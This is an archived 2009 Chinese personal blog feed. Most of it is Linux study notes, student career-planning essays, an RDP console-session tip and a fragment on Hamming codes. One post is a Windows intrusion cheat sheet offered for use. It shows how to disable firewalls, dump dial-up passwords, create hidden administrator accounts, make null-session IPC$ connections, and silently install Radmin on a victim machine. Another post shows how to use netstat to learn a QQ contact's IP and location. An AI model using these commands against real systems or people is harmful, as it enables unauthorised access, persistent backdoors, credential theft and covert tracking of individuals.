http://249491194.qzone.qq.com Sat, 28 Nov 2009 19:15:54 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Thu, 12 Nov 2009 07:03:58 GMT http://249491194.qzone.qq.com/blog/1258009438 　　
　　LINUX开始于芬兰赫尔辛基大学的Linus Torvalds的业余爱好，当时他想建立一个代替Minix操作系统的、可用于基于Intel的个人计算机上的UNIX类操作系统。LINUX的标志(吉祥物)是一只企鹅。从LINUX1.0发布以来，它越来越多的得到电脑迷的青睐，并得到广大电脑爱好者的不断补充的更新。
　　LINUX的很多部分是在GNU的通用公共许可证的保护下发布的。这个操作系统是由世界各地的数以百计的程序员设计和实现的，其目的是建立不受任何商品化软件的版权制约的、全世界都能自由使用的UNIX兼容产品。到现在，LINUX已经是一个在个人计算机和工作站上使用的UNIX操作系统，是UNIX的免费版本，其基本系统对硬件要求很低，它在很多系统上是相当的稳定。
　　LINUX是目前唯一可免费获得的、为PC及的多个用户提供多任务、多进程功能的操作系统。一个可以从网上或其他途径自由获得的免费软件。安装LINUX，不仅可以亲身体验成为系统管理员的个中滋味，为笔者们了解世界上流行的UNIX操作系统提供了廉价的机会；还可以通过在网络上开放一些服务而建立自己的网站。现今比较流行的版本是：Turbo LINUX、RedHat LINUX、Slackware LINUX、Solaris。我国支持的是红旗LINUX。
　　笔者接触LINUX较晚，曾花费一段时间学习LINUX，现将学习笔记整理如下，望能与LINUX高手、爱好者相互学习。
　　LINUX特性综述
　　一、系统特征
　　LINUX系统有文本编辑界面和图形用户界面（GUI），笔者更喜欢到GUI界面的仿真终端进行命令输入。其特征包括:多用户、多任务、多平台、可编程SHELL、提供源代码、仿真终端、支持多种文件系统及强大的网络功能等。
　　多用户：多个用户（六个）能同时从相同或不同的终端（终端号：tty1~tty6）上用同一个应用程序的副本进行工作。在控制台，切换终端的命令是：ALT+F1~F6；在仿真终端窗口（ps/0~n）是：SHIFT+ALT+F1~F6。
　　多任务：可同时执行多个程序，程序之间互不妨碍。与WINDOWS的多任务不同，LINUX将系统没有用到的剩余物理内存全部用来做硬盘的高速缓存。笔者曾经打开三个xterm，分别用于查找文件、调试程序、发邮件。而且还可以指定某一个程序在后台运行，指定某一些程序在特定的时间内运行（at命令）。
　　多平台：LINUX能在X86平台上运行，也能移植到其他平台。
　　可编程SHELL：SHELL是解释并执行命令的系统外壳程序。通过编写SHELL程序，使得系统更加个性化；而且在一些程序中具有C语言的功能。
　　提供源代码：LINUX是自由软件，源代码完全公开，可以自行编译内核，修改和扩充操作系统，进行二次开发。
　　LINUX支持的文件系统很多，例如：EXT2、NFS、VFS、ISO9660、MSDOS等等。
　　网络功能：较全面的实现了TCP/IP、SLIP、PPP、PLIP协议，功能强大。
　　
　　二、系统比较
　　LINUX可以和PC机上的其他操作系统共存，但还是有差别的。
　　（一）LINUX与MSDOS
　　DOS在PC机上普及最广，价格低。LINUX是免费软件，不用考虑价格。LINUX有些命令与M S- DOS相同或相似，如cp----copy、cd（..)---cd(..)、telnet---telnet等；要在LINUX下用DOS命令，要在命令前加m；LINUX还可以充分发挥微处理器的功能，其多用户、多任务、网络等功能是MSDOS所不能比的。常见的是，LI N U X和DOS装在同机器上。
　　
　　（二）LINUX与WINDOWS
　　两者都是多任务的操作系统，都支持同样的用户接口、网络和安全性。但是，WINDOWS是专用系统，由开发的公司控制接口和设计，并建立了严格的标准，而且购买的价格高。而LINUX是自由软件，其开发采用开放和协作的模式，因而有利于充分程序人员的集体智慧，大量减少不必要的重复劳动，并使得自由软件的弱点能及时发现和得到克服，具有强大的生命力。LINUX正在竞争UNIX和WINDOWS NT的市场份额。它是目前唯一可以与MICROSOFT WINDOWS抗衡的操作系统；盖茨也承认LINUX是微软的竞争对手。
　　（三）LINUX与UNIX
　　实质上，LINUX是UNIX的一种版本。UNIX支持的硬件要多一些，LINUX支持的硬件也在不断扩大。很突出的一点是，LINUX至少和商用UNIX一样稳定。对于许多用户来说，最重要的因素是价格；显然，在这一点上LINUX要占优势。LINUX使得用户在PC机上运行完整的UNIX。所以，LINUX为笔者们学习UNIX提供了廉价的机会。
　　
　　三、缺点：
　　使用LINUX的最大缺点是没有一个实体对它的发展负责。LINUX的开发人员分散在世界各地，他们可以随意发表自己的程序，没有正式的质量保证程序。
　　1、由于分散性的开发，LINUX缺乏技术支持，笔者就常遇到很多问题，根本不懂如何解决，查资料又找不到----这就是笔者多次安装的主要原因；
　　2、并不能安装和运行在所有硬件平台上。LINUX所支持的硬件取决于每个开发者编写代码时所用的硬件。
　　3、一些应用软件，尤其是for WINDOWS、DOS的，不能在LINUX上使用。目前解决的办法是，与其它操作系统共存于一台机器上。
　　4、另外，笔者感觉安装软件还不够智能，有时需要重新编译内核，还要修改Makefile等文件，费时费力，还常常安装不上----可能是没有优化、配置好内核。

LINUX安装简介
　　总的来说，LINUX对系统的要求并不高，在386上就能运行，并能优化系统性能。
　　笔者安装过几遍Turbo Linux，RedHat Linux，对从光盘的安装过程有一定的了解。限于硬盘大小、CPU性能，无其他操作系统共存。其安装还是比较智能化的，可根据提示一步步的来安装，不懂之处采用默认值，或者先别配置。
　　因为全部安装了它内置的软件包，所以每次安装的时间比较长。
　　感觉较重要的一步是分区。首先要清楚硬盘驱动器是用文件名/dev/had来表示的。LINUX至少要分两个区：主分区、交换区。交换区用于启动虚拟内存的,它可以使系统在固定的实际物理内存下运行的更加顺利。根据要求，交换区容量应为内存的两倍。因而，先分交换区had为64M，剩余的全部用作主分区hda1。由于机器上只装了LINUX，所以笔者只能从书本上了解在安装两个系统时是如何分区的。
　　要谨慎的是在选取显示器、刷新频率时，一定要做出正确的选择，以免烧坏显示器。
　　安装过程中，它会自动找到网卡，会引导设置TCP/IP网络。由于只装一个操作系统，因此不用配置LILO。
　　安装完成后，可以配置内核，主要目的是让硬件都可以准确的启动。而且，自由对系统内核进行正确的编辑，才能拥有一个最适合自己计算机的LINUX内核。首先进入/usr/src/linux，接着用make config开始编辑。
LINUX文件与目录
　　一、文件系统
　　LINUX有四种基本文件系统类型：普通文件、目录文件、连接文件和特殊文件，可用file命令来识别。
　　1普通文件：如文本文件、C语言元代码、SHELL脚本、二进制的可执行文件等，可用cat、less、more、vi、emacs来察看内容，用mv来改名。
　　2 目录文件：包括文件名、子目录名及其指针。它是LINUX储存文件名的唯一地方，可用ls列出目录文件。
　　3 连接文件：是指向同一索引节点的那些目录条目。用ls来查看是，连接文件的标志用l开头，而文件面后以\"-〉\"指向所连接的文件。
　　4 特殊文件：LINUX的一些设备如磁盘、终端、打印机等都在文件系统中表示出来，则一类文件就是特殊文件，常放在/dev目录内。例如，软驱A称为/dev/fd0。LINUX无C：的概念，而是用/dev/had来自第一硬盘。
　　LINUX的文件有不同的权限，用ls -l [filename]来列出。例如：
　　$ ls -l aa?
　　$ lrwxr-x--x 1 aa 460 Dec 3 14:35 aa ->aa.c
　　（二）目录系统
　　LINUX的目录系统可以点击X-WINDOWS菜单的File Manager窗口中看到。其目录结构如下：
　　/
　　/bin
　　/dev
　　/home
　　/
　　/etc
　　/passwd
　　/rc.d
　　/mnt
　　/root
　　/sbin
　　/tmp
　　/usr
　　/var 一些常用的目录是：
　　/etc--包括大多数引导系统或激活系统所需的系统专用熟据，如：host.conf、httpd等。
　　/lib--包含c编译程序需要的函数库，是二进制文件，如：cpp。
　　/usr--包括所有其他内容，如：src，local。LINUX的内核就在/usr/src中。其下有子目录/bin，存放有所安装的语言的命令，如：javac，java，gcc，perl等。
　　/var--包含系统定义表、以便在系统运行改变是可以只备份该目录，如cache。
　　/tmp--用于临时性的存储。
　　/bin--大多数命令存放在这里。
　　/home--主要存放用户账号；另外还有ftp。
　　系统管理员增加用户时，系统会在这里自动增加与用户同名的目录，此目录下一般默认有Desktop目录。
　　/dev--包含称为设备文件的特殊文件，如fd0、had等。
　　/mnt--在LINUX中系统中,它是专门给外挂的文件系统使用的，里面有两个文件：cdrom，floopy，登录光驱、软驱时要用到。

　　LINUX配置
　　在这里，配置的对象并非内核，而是软件。至于网络的配置，主要在安装系统是已经基本完成；也可以进入GUI界面从菜单选择liloconf来配置。
　　与WINDOWS一样，在LINUX系统可以从光盘、软盘安装应用软件；但不同的是，它需要用命令mount来登录光驱、软驱。而且，软件大多是经过压缩的，所以还需要懂得如何解压。最后必须配置、编译才能运行。下面分四个方面进行介绍：
　　一、mount登录
　　LINUX的软驱设备用特殊文件/dev/fd0，文件系统是msdos，因此用以下命令登录，读取软盘内容：
　　# mount -t msdos /dev/fd0 /mnt/floppy
　　# cd /mnt/floppy
　　同理，键入以下命令读光盘：
　　# mount -t iso9660 /dev/hdb /mnt/cdrom
　　# cd /mnt/cdrom
　　然后，用cp命令将所需的软件拷贝到系统中。
　　退出软驱、光驱用umount命令。注意，不能在其目录中使用此命令，而应先cd到其他目录，再使用：umount /mnt/cdrom。
　　
　　二、安装软件
　　for LINUX的软件一般是以.gz或.tar或者.tar.gz结尾的。前者是由gzip压缩的，后者是先用tar归档，在用gzip压缩而成的。
　　1、以.gz结尾的为压缩文件，用命令：gzip -d filename来解压，得到的文件在当前目录中，但已没有了.gz。
　　2、以.tar结尾的为归档文件，用命令：tar -xvf filename来展开，生成的文件与源文件在同一目录中，只是少了.tar。
　　3、以.tar.gz结尾的文件最常见，可直接用命令：gzip -cd filename | tar xfv -来安装。
　　一般情况下，这类文件的第一项是一个目录，所以用上面的命令时会创建出这一个目录，并把所有的文件都存在此目录之下。如果是特殊情况，可先用命令：tar -tvf filename | more 来查看文件的第一项。倘若它并不是目录，则先创建一个目录，把文件放在此目录之下，在用命令：tar -xvf filename来安装。
　　经过以上步骤，会生成README及INSTALL等文件。用vi来仔细阅读这些文件造处于LINUX有关的部分，更具体是进行配置。一般的步骤是：（1）./config，（2）make install，（3）make。主要的变化在第一步，其后面需要参数，可见入命令来选择：./config --help。
　　
　　三、实践举例笔者曾配置了apache（阿帕其服务器）、php3两个软件。
　　先从网上下载for LINUX的软件apache.tar.gz、php3.tar.gz。
　　1、由于apache.tar.gz大于1.44M，所以笔者在center_5的MSDOS上用telnet命令登录LINUX，通过put将其上传。
　　2、笔者将这两个软件放在/usr/src目录之下，用命令gzip -cd apache.tar.gz（php3.tar.gz）| tar xfv -来安装。这样会看到两个目录：apache_1.3.6和php-3.0.7。
　　3、在第一个目录之下，会看到非常重要的文件：README、INSTALL。如果此时是在GUI界面，则可以打开两个xterm，一个用于仔细阅读，一个则用于根据文件的提示进行配置。
　　4、在第二个目录中，也会很快的找到文件：INSTALL、INSTALL.DSO、README.QNX。步骤与3相似。由于这两个文件相互关联，必须先配置前者。
　　5、配置完后，进入/apache_1.3.6/conf/httpd.conf。在文件里面，理解其注释，删除或增加一些选项前的\"#\"。保存文件后，执行命令/usr/src/apache_1.3.6/bin/apachectl start，即打开http，然后可以在Netscape Communication来浏览网页。
　　心得体会在学习的一个多月来，笔者面对的是一个全新的操作系统，绝大多数操作是通过自己键入命令来实现的，从而能够深入到一定层次的了解操作系统内核。
　　1、懂得了UNIX的一些基本命令；
　　2、熟悉vi文本编辑；
　　3、知道如何在LINUX、UNIX上编写、编译C、C++、JAVA程序；
　　4、进一步了解了网络原理，动手配置了网络应用软件，从而也清楚了软件安装的一般步骤。
　　5、毕竟现今for LINUX的应用软件少，而且RedHat LINUX不支持中文，因而还不能完全脱离WINDOWS。因此，应发挥LINUX是一个非常优秀的网络服务器操作系统的优点，扬长避短。
　　由于有关操作系统的知识不够，所以还不能自己修改、开发内核，暂时停留在一般性了解、基本操作的基础上。因为笔者学习LINUX是为了先在PC机上了解UNIX，这是最主要的目的。当然，这一段时间的学习就是围绕着这个目的开展的。
　　显然，以上学习所得只是LINUX的皮毛，希望能与各位LINUX高手、爱好者继续探讨LINUX的精髓所在。
LINUX编程
　　一、文本编辑
　　LINUX系统标准的文本编辑程序是vi，它提供了编写命令、程序的环境。可见，vi与编程息息相关，因此很有必要在此次先介绍vi的运用。
　　vi有命令及文本输入模式，通过按来切换。
　　（1）在命令模式下：
　　i--在光标前添加文本，与按相同；
　　a--在光标后添加文本；
　　r--替换文本，与按两次相同；
　　x--删除光标处初的字符；
　　：u--取消最后一次操作；
　　：wq/：x/：ZZ--保存文本退出；
　　：q！--防弃修改退出；
　　：w--将缓冲区写入文件；
　　：w filename--将缓冲区写入filename（相当于另存为：filename）；
　　：w！Filename2--强迫vi重写名为filename2的文件；j--移动光标到下一行当前位置，与k相反；
　　h--将光标左移至下一字符，与l相反；
　　dd--删除一行，dd删除n行；
　　dw--删除一个词，dw删除n个词；
　　o--在当前行下添加一行，与O相反；^--行首；$--行尾；：%d--全部删除文件内容；
　　/string：--在缓冲区向前查找字符串string，与？String相反。按表示继续查找下一个；
　　set number--显示行号，便于查找错误；
　　（二）在文本输入模式下，主要进行文本的输入。+x可删除光标前的一个字符；还可以通过鼠标进行快捷的拷贝。
　　LINUX的文本编辑环境还有emacs、ex等，与vi相似。
　　
　　二、SHELL编程
　　bash shell有一组可以从键盘使用的强有力的交互功能：输入/输出重定向，作业控制，历史命令表以及命令行编辑。另外，shell还提供完整的程序语言节是程序及读取和执行用户自己编写的shell的手段。这些shell程序成为shell script。编写shell程序，能配置自己的登录环境，进行交互输入，编辑和别名shell命令，控制流程等。
　　由于笔者对LINUX操作系统的学习还不够，所以暂时不能进行深层次的编程，只是了解SHELL的语法结构：if命令，test命令，while命令，for循环，until命令，case选择。况且，笔者的学习目的并不在于此，因而没有花太多的时间，而是应能熟练的运用SHELL命令。
　　
　　三、高级语言编程在LINUX上编写以上程序用到glibc/c++，jdk。步骤如下：
　　1 # vi xxx.c(/cpp/.java)进入vi编辑界面进行编辑。
　　2 编译过程
　　（1）对于C程序：# cc -o exe-filename（可执行文件名）xxx.c
　　# ./exe-filename
　　（2）对于C++程序：# c++ -o exe-filename xxx.cpp
　　# ./exe-filename
　　（3）对于JAVA程序：# javac xxx.java
　　# java xxx
　　可以用gdb来调试程序：gdb exe-filename。其命令通过help来查看。
　　此外，进行系统程序设计时，使用C语言并调用内部函数，例如用fork创建进程等。
信息来源：http://linux.sheup.com/linux/linux3505.htm ]]> http://249491194.qzone.qq.com/blog/1258009438#comment 134218240 Thu, 12 Nov 2009 07:03:58 GMT http://249491194.qzone.qq.com/blog/1258009438 http://249491194.qzone.qq.com/blog/1244957471 一、个人分析与角色评价：
1.个人分析：
别人说我性格偏于内向，但我认为我性格具有两面性，我喜欢安静的环境，喜欢一个人学习、看书。但有时却喜欢热闹，和朋友在一起谈天，给彼此带来快乐，我会感觉很开心。喜欢画画，喜欢运动，尤其是打乒乓球。也喜欢路游，开阔眼界，陶冶情操。另外，我具有团队精神和协作能力，比较强的创新意识，动手实践能力及自学能力。但我有一个缺点，就是优柔寡断。
2、角色评价：
父母：良好的沟通能力，善于自立；
老师：积极乐观，有上进心，责任心，学习刻苦，遵守纪律；
同学：工作能力强，责任感强，能顾全大局。
二、社会环境和职业分析（十年规划）
1、社会一般环境：中国政治稳定，科技发展层出不穷。
2、职业特殊社会环境：中国科技发展较晚，科技知识和科技产品大部分还源于国外，因此科技力量相对薄弱。
三、行业分析：
未来社会发展的最终趋势将是集体一体化，这就注定网络的链接必不可少，现在电脑已普及到大众用户。网上购物，网络管理已成为人类交流的一种途径。服务器设备广泛用于各大商场及商业媒体。但总的来说，其功能还不晚上。因此，全自动化技术将成为网络管理的任务所在。
四、职业目标分解与组合：
1、美好愿望：事业有成，家庭幸福；
职业目标：网络管理，软件开发；
成果目标：网络工程师
能力目标：学以致用
总体目标：完成本科，研究生的学习，进入思科网络公司或其他外资企业，成为高科技技术人才。
2、成功标准：
只要自己尽心尽力，能力也得到发挥，每个阶段都有切实的自我提高，即使目标没有实现，也不觉得失败，决不气馁！
五、大学期间学习计划：
学习不仅是为了以后的工作，最重要的是它能让你终身收益。我一直坚信“活到老，学到老”的格言。无论怎样，学生最首要的任务就是学习。如果抛开学习，那么一切都无从谈起。在数字化、信息化的时代对计算机知识的掌握尤为必要。所以我对自己的大学生涯作出以下简短设计。
大学二年级：

1、认真学好专业知识和其他基础学科，坚信基础的东西一定是最重要的。注意提高自身的基本素质，通过参加各种社团等组织，锻炼自己的各科能力，同时检验自己的知识技能。
2、做一些兼职，社会实践活动，同时在课余时间从事一些与自己未来职业有关的专业类的工作，进一步提高自己的责任感、主动性和掌
3、证书大突破：考取英语四、六级。全国计算机二级等级考试。以及其他相关证书。
大学三年级：
1、开始尝试并学习写简历、求职信，了解社会需求。搜集与本人目标工作有关的信息，并通过信息渠道尝试和已毕业的校友交流思想 。开始毕业前的申请，积极参加招聘，在实践中校验自己的知识积累。
2、预习或模拟面试，积极利用学校提供的条件，了解就业指导中心体统的用人公司资料信息，强化求职技巧，进行模拟面试等训练，尽可能作出较为充分准备的情况下进行演练，为自己以后找到理想的工作而努力。
3、获得普通话等级证书及全国计算机三级等级考试。
大学目标规划表：



六、为人处世方面：
1、改掉自己偶尔情绪急躁的坏毛病，千万不和同学发生冲突。
2、最终身边的每一个人，不管他（她）有什么性格，学习优秀的人，感化恶搞的人，用一颗真诚的心去对待他们。不去争名利，不计较利益得失，做一位合格的中国公民，为和谐社会的构建做自己力所能及的事。
3、抓住每一个锻炼自己的机会，这样的机会不是每个人都有，全力以赴完成班级和学院本职工作，为集体做一些力所能及的事，干出一点成绩，不一定非要得到别人的肯定，重要是给自己找一个相信自己的理由。
七、生活方面：
大学是真正属于自己的天地，在人的一生中这样的时光不多，好好把握将会收益终身。
要多和家人及同学联络，告诉他们我们的快乐和不安。一路走来，是他们一直支撑着我们克服种种困难。尤其是上了年纪的父母，他们操劳了一辈子也许最想要得只是我们的一声问候。我决不会让他们失望。
八、职业生涯规划实施方案存在的障碍：
目前，我经济条件相对薄弱，作为未来的信息人士，我较少能接触到高科技产品，且时间较少。
解决方法：
我在校一直勤工俭学，利用假期时间做兼职。尽量将我的大部分开支投资到学业中去。
九、本人对职业生涯规划的看法：
俗话说：“欲行千里，先立其志。”规划我的职业生涯，就相当于在人生之路上迈出一大步。一位哲人曾说过：“没有目标的人，就像是漂泊的船只，可能永远到大不了壁岸。”写过职业生涯规划书，突然感觉像是在黑暗中看到了亮光，让我有目标可循。进而信心百倍，动力十足的去实现它，这乃是人生的一大快事。我不再盲目的、无目的的学习，生活，而是有计划、有步骤的生活。
十、结束语：
计划固然好，但最重要的在于付出实施并取得成效。时时刻刻都不能忘记，任何目标，只说不做到头来只是一场空。
路漫漫其修远兮，吾将上下而求索。不经历风雨怎能见彩虹。我们要时刻保持一颗清醒的头脑。其
实，每个人心中都有一座山，雕刻着理想、信念、追求、报负；每个人心中都有一片森林，承载着收获、芬芳、失意、磨砺。一个人，若要获得成功，必须拿出勇气，付出努力、拼搏、奋斗、成功。机遇不相信眼泪，不相信颓废，不相信幻影，只相信爱打拼的人
]]> http://249491194.qzone.qq.com/blog/1244957471#comment 134218240 Sun, 14 Jun 2009 05:31:11 GMT http://249491194.qzone.qq.com/blog/1244957471 http://249491194.qzone.qq.com/blog/1244957432
一 我对银领与职业生涯的认识

所谓“银领”，就是既要能动脑，更要能动手，经过实践的锻炼，能够迅速成长的高技能人才。而“职业生涯设计”其实就是“人生战略设计”，是对自己成功的人生进行正确的规划。

二自我认识

自我认识是设计职业生涯规划的基础，因此一定要全面、客观、深刻，决不回避自己的缺点和短处。在自我认识方面，“当局者迷、旁观者清”，我们可以参考家庭、同学、师长和其它专家的意见，力争对自己真正全面的认识。

1、我的优势

我的专业是模具设计与制造，是学院的特色专业。专业很好，我高考结束后对模具很感兴趣，所以才学模具。现在大二了。专业基础课开了，但专业课程还没有开，但我从专业基础课已经学到了很多东西。海阔凭鱼跃，天高任鸟飞。我想要学好专业课，首先要学好专业基础课，这一点我做到了，而且很精通。比如说《机械制图》是所有机械专业学生都要学习的课程，从我参观工厂的经历，我知道看懂图纸是第一步，要不然怎么去加工，怎么去生产，更不要说去设计了。我们的专业不光是学习理论知识，我们的重点可以说动手操作，即理论结合实践，更好的掌握自己的知识。在实践中我的动手能力得到了锻炼，本来就是喜欢动手的人，现在是如鱼得水了！在实践中培养了我的认真负责精神，我的技能得到了培养。

1.2我曾经做过什么。

我知道在大学期间仅仅学好专业知识是远远不够的，在我们人生关键的环节，能力的培养也是非常重要的。社会需要的不仅仅是光有技术的人，而是全面发展的人，这就使我认识到锻炼自己能力的重要性。在班级我是组织委员，在党建小组我是04G的组织委员。作为一名学生干部，我学到的不是如何去做官，而学会了怎么与他人沟通，怎么与他人和谐相处。我的组织能力得到了培养，更重要的是使我认识了团队合作的重要性，总之学生干部的经历，对我的影响是很大的，这对我今后的影响是不可低估的。另外，我经常参加社会实践，虽然是学生，但我并不是在象牙塔，而是融入社会，可以说我对社会并不陌生，我的社会实践经与假期打工经历，使我对这个社会并不陌生。为我毕业后 择业奠定了基础。

1.3通过别人认识自我

我的学习成绩良好，这是老师与同学对我的评价。他们说我的自学能力强，的确，我自己也是这样认为的，在同学中做为优秀者，我想是值得骄傲的。他人是我的镜子，自己是看不清楚自己，所以在此我引用认识我和我比较熟悉的人对我的评价：动手能力强，接受新知识及运用知识的能力强。做人塌实，具有良好的服务意识和团队精神，时间观念好，责任感强等等。我是非常感谢他们的。

2、我的弱势：也就是我目前的不足或能力的欠缺。

2.1性格的弱点。人无法避免与生俱来的弱点，我知道自己心太软，也就是优柔寡断吧，这是要命的啊，不能当机立断是使我很居丧的。另外，我是那种杞人忧天型的人，我做完一件事情，在结果没有出来之前，我总是挂念，即使事情做的很完美，我还是有一些忧虑的。

2.2我的社会经验相对其他同学还好，但是还是太少，我处理问题的能力不是太好。另外，我有时候看问题看不到本质，这可是致命的啊。

三 确定我的职业发展目标

我知道生涯目标的设定，是职业生涯设计的核心。一个人事业的成败，很大程度上取决于有无正确适当的目标。

当前形势，掌握先进制造技术的高技能人才严重短缺，已经成为制约我国经济和产业发展的最大瓶颈之一。我是学习技术的学生，可以说我的机遇还好。

我毕业后可以说就是学院培养的具备开发与设计模具能力的高技能人才，但是，我羽翼未丰满，也就是我的技能还不扎实，没有足够的经验。因此，我的短期目标是刚毕业两年内从一线工人做起，我想做一名模具钳工。我的中期目标是积累了一定经验以后做模具设计与开发人员。再往后是模具设计师甚至模具设计与开发部门的技术总管。由于我现在是在校高职学生，而社会变化风云莫测，机遇与健康是我无法预知的，因此，我只有短期和中期的人生目标，至于长远的人生目标只有当我的短中期目标实现后再说。

四我现在该怎么做

现在我对自己有了比较清醒的认识，加之我的短期目标和中期目标已经确定，接下来我该为目标而奋斗了。

我现在是大学二年级的学生，我已经过了打文化基础的阶段了。现在是学习专业基础知识阶段。我想一个学生只有清楚的知道自己该学什么，才能为之努力。我力求学习好以下学校规定的专业基础知识：《机械设计基础》、《液压与气动》、《公差》，《工程材料与热加工》、《电子与电工基础》、《机械制图》等等，我想只有学好专业基础知识才能去学好专业课，因此专业基础要打牢。至于专业知识，我们下学期就开课了，可以说只有熟练掌握专业知识，我们才能在今后的工作中胜任。我既然已经制定了我的短中期人生目标，我想在接下来的日子里，我会努力的学好专业知识的。但还不够，我还会借图书馆的技术书籍看，一来可以更好的掌握掌握专业知识，二来可以拓宽我的视野。

我们毕业以后是高技能人才，即是“银领”因此我们的技能培养是关键，这一点我一直以来都很重视。学院已经给我们提供了锻炼的机会，我们学院里有实习基地，在基地里有各种现代化的数控，如加工中心、数控铣、线切割、电火花、数控车床等。我们有机会去实习。作为模具系的学生，学校对我们的要求就是要拿到加工中心或数控铣中级证书、线切割或电火花证书以及中级模具钳工证书等。我们有钳工实习、热加工实习、CAD实训等。我说过我的短期目标是做一名模具钳工，因此，在钳工实习中我是格外认真的。其实，我在每个实习中都是非常认真的，学到技术是我走出学院参加工作的保证，也只有掌握技能才能成为真正意义上的高技能人才。

知识与技能的准备只是一个方面，能力的培养也是很重要的。怎么样和同学和谐相处，怎么才能锻炼团队精神很重要。能否处理好与老师、同学之间的关系是我现在努力培养的。我想这些在以后的工作中是很重要的。因此，我很活跃，我是班级的组织委员，同时有时党建小组04G的组织委员，我经常参加系里举行的活动，我想我的能力会在参加活动中得到锻炼的。



总之，我现在应该学好专业基础知识，为学习专业知识做准备。对于专业技能，不用说我会学得很精通的，因为它是我的就业之本钱。与他人和谐相处，锻炼我的服务意识和团队精神。争取在德、智、体方面全面发展，做一名合格的准高技能人才。 ]]> http://249491194.qzone.qq.com/blog/1244957432#comment 134217728 Sun, 14 Jun 2009 05:30:32 GMT http://249491194.qzone.qq.com/blog/1244957432 http://249491194.qzone.qq.com/blog/1240748408 这样一来，不免会带来一定的流量损失，而且如果是在重要场合服务器断一下，那损失可大了！
可能对服务器硬件有损伤，也有可能有重要客户正在进行重要的网络活动。。。。
那除了重启机器，还有其它方法吗？当然有的。微软为我们想到了这一点。


2003的服务器默认只允许2个连接用户

所以出现那个情况。

今天帮大家解决一下。
很简单，当出现远程终端连接超过2个的情况后，在WindowsXP或2003机器上运行以下命令：
mstsc /console /v:你的服务器IP:远程端口

进入登陆界面了，再输入用户名和密码，就进来啦！

为什么会出现这个情况？

在任务管理器中，有三个用户。其实他们是断开的。只是因为不是正常退出。就是没注销。

所以在连接Win2003服务器后，要退出，务必用“注销”的方式。

假若实在是遇到了这个问题，就只有用那个命令行进去了。

具体mstsc还有哪些运行参数呢？执行mstsc /?就可以全部看到了！ ]]> http://249491194.qzone.qq.com/blog/1240748408#comment 134218240 Sun, 26 Apr 2009 12:20:08 GMT http://249491194.qzone.qq.com/blog/1240748408 http://249491194.qzone.qq.com/blog/1240748306 有不足或错误的地方请高手指证.
前些天对windows的一些命令有了一些了解.发现其中的netstat命令可以用来查看QQ上在线好友的IP,方法是这样的:
1.连上线,注意不要运行其他的上网的软件
2.在运行中输入cmd,在当前的目录下打入netstat -n 命令出现的一行字就是和你的机器连接着的IP,一般就是自己机器的IP,
3.打开QQ,给在线的好友发一条信息,经过本人试验,发一个图片或一个文件最好,因为传输的时间长,更容易查到对方IP.
4.回到cmd的命令窗口,再次打入:netstat -n(或按下F3),这次看看是不是比刚才多了一个和本机相连接的IP呢,那个就是刚才你发信息的好友的IP.如果想知道对方的地理位置可以到这里查看:www.ip138.com.这样就可以知道好友大概的地理位置了. ]]> http://249491194.qzone.qq.com/blog/1240748306#comment 134218240 Sun, 26 Apr 2009 12:18:26 GMT http://249491194.qzone.qq.com/blog/1240748306 http://249491194.qzone.qq.com/blog/1240748245 控制面版：运行>>>>>>>>>>>:control
计算机管理：command MMC
结束XP防火墙进程:net stop sharedaccess
查看ADSL帐号密码的代码:dialupass /allusers /stext "c:\pass.txt
启动3389服务：net start TermService
关闭所有防火墙的代码:cmd.exe /c net stop sharedaccess
iis命令重启:iisreset /reboot
用CMD命令实现路由跟踪:tracert 域名(如：www.google.com)
结束进程：NET SHARE
查看版本：ver
查看中端(服务）：net start
查看文件：dir
查看3389：
加用户：c:\winnt\system32>net user adminserver$ admin /add
提权限：net localgroup administrators adminserver$ /add
211.38.172.2 2180
查看用户net user
远程连接到主机CMD命令：telnet 主机IP
踢人：logoff ID
查看当前人：query user
打开telnet:net start telnet
telnet连接工具：OpenTelnet
删除共享： net share c$=c:\
删除共享： net share c$ /del
启用GUEST：net user guest /active:yes
为GUEST设密码：net user guest 888888
提升到管理员：net localgroup "Administrators" guest /add

超级用户隐藏器:c:\door adminserver$:admin

克隆帐号：ca \\IP 你建立的帐号 密码 肉机默认帐号 密码
ca \\127.0.0.1 adminserver$ admin adminserver admin


完全禁止系统模认工享
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{59031a47-3f72-44a7-89c5-5595fe6b30ee}]

3389替换服务-----------------------
中修改[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
c:\winnt\system32\copy termsrv.exe service.exe
c:\winnt\system32\cd..
c:\winnt\sc \\127.0.0.1 config Alerter binpath= c:\winnt\system32\service.exe

端口转向：f:\web\ftp.exe "c:\fpipe.exe -v -l 开放的端口 -r 要转向的端口 ip"

使用空口令连接:
net use \\对方IP\ipc$ "" /user:"administrator"
(在上传文件的目录下)远程复制文件:
c:\radmin>net use \\a-01\ipc$ "12345" /user:administrator

c:\ramdin>copy r_server.exe \\a-01\admin$\system32
c:\ramdin>copy radmin.reg \\a-01\admin$\sytem32
在对方CMD下：
c:\winnt\system32\>regedit /s radmin.reg
c:\winnt\system32\>r_server.exe /install /silenec
net start r_server

copy r_server.exe \\对方IP\admin$\system32
c:\opentelnet.exe \\IP ADMINISTRATOR "" 0 90


copy 文件名 \\IP\admin$\system32
进入对方CMD:
c:\opentelnet.exe \\Ip administrator "" 0 90
登陆CMD:
c:\telnet IP 90

安装RADMIN:
c:\winnt\system32\
r_server /install silence
c:\winnt\system32\
r-server
]]> http://249491194.qzone.qq.com/blog/1240748245#comment 134217728 Sun, 26 Apr 2009 12:17:25 GMT http://249491194.qzone.qq.com/blog/1240748245 http://249491194.qzone.qq.com/blog/1238504178 　　这是由Richard Hamming于1950年提出、目前还被广泛采用的一种很有效的校验方法，是只要增加少数几个校验位，就能检测出二位同时出错、亦能检测出一位出错并能自动恢复该出错位的正确值的有效手段，后者被称为自动纠错。它的实现原理，是在k个数据位之外加上r个校验位，从而形成一个k+r位的新的码字，使新的码字的码距比较均匀地拉大。把数据的每一个二进制位分配在几个不同的偶校验位的组合中，当某一位出错后，就会引起相关的几个校验位的值发生变化，这不但可以发现出错，还能指出是哪一位出错,为进一步自动纠错提供了依据。
　　假设为k个数据位设置r个校验位，则校验位能表示2r个状态，可用其中的一个状态指出 "没有发生错误"，用其余的2 r -1个状态指出有错误发生在某一位，包括k个数据位和r个校验位，因此校验位的位数应满足如下关系:
　　2r ≥ k + r + 1 (2.7)
